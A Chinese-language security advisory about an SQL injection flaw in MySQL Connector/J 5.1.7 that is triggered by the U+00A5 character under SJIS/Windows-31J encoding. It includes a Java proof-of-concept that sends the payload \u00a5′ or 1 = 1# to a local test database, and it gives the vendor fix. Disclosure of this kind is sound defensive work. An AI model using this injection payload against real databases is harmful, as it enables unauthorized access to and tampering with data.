漏洞起因
输入验证错误
影响系统
MySQL AB MySQL Connector/J 5.1.7
不受影响系统
MySQL AB MySQL Connector/J 5.1.8
危害
远程攻击者可以利用漏洞获得敏感信息。
攻击所需条件
攻击者必须访问MySQL Connector/J。
漏洞信息
MySQL Connector/J是一款面向java的简单易用的API调用接口。
MySQL Connector/J处理包含部分unicode字符的查询字符串时存在错误,远程攻击者可以利用漏洞通过SQL注入攻击修改应用程序,访问或修改数据。
在设置类似SJIS/Windows-31J字符集而不是UTF-8的情况下,提交包含U+00A5字符的字符串,MySQL Connector/J在处理时可导致SQL注入攻击,攻击者可以获得敏感数据或操作数据库。
测试方法
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;
import java.sql.SQLException;
public class InjectionTest {
public static void main(String[] args) {
try {
Class.forName("com.mysql.jdbc.Driver");
Connection conn =
DriverManager.getConnection("jdbc:mysql://localhost/scott?characterEncoding=Windows-31J",
"scott", "tiger");
PreparedStatement pstmt = conn.prepareStatement("select empno from emp where ename =
?");
pstmt.setString(1, "\u00a5′ or 1 = 1#");
ResultSet rs = pstmt.executeQuery();
while (rs.next()) {
System.out.println(rs.getInt(1));
}
rs.close();
pstmt.close();
conn.close();
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (SQLException e) {
e.printStackTrace();
}
}
}
厂商解决方案
用户可联系供应商获得MySQL AB MySQL Connector/J 5.1.8版本程序:
http://dev.mysql.com/doc/refman/5.1/en/cj-news-5-1-8.html
漏洞提供者
Sadao Hiratsuka
0 条评论。